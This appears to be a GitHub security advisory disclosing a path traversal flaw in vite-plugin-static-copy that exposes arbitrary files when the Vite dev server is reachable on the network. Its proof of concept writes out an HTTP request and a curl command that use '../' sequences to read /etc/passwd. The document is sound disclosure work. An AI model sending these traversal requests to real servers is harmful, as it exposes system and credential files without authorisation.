vite-plugin-static-copy files not included in `src` are possible to access with a crafted requestGHSA-pp7p-q8fx-2968

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.